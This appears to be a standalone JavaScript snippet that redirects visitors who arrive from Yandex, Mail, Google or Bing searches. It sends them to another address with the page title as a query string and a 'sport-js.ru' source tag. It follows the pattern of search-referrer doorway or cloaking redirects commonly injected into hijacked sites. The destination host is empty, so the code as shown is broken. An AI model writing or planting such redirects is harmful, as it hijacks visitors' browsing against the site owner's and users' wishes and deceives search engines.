var keyword = document.title; var isps = document.referrer.match(/(yandex)|(mail)|(google)|(bing)/i); keyword = keyword.split(/[->ยป]/)[0]; if (isps) {window.location.href = "https:///?q="+encodeURIComponent(keyword)+"&source=sport-js.ru";}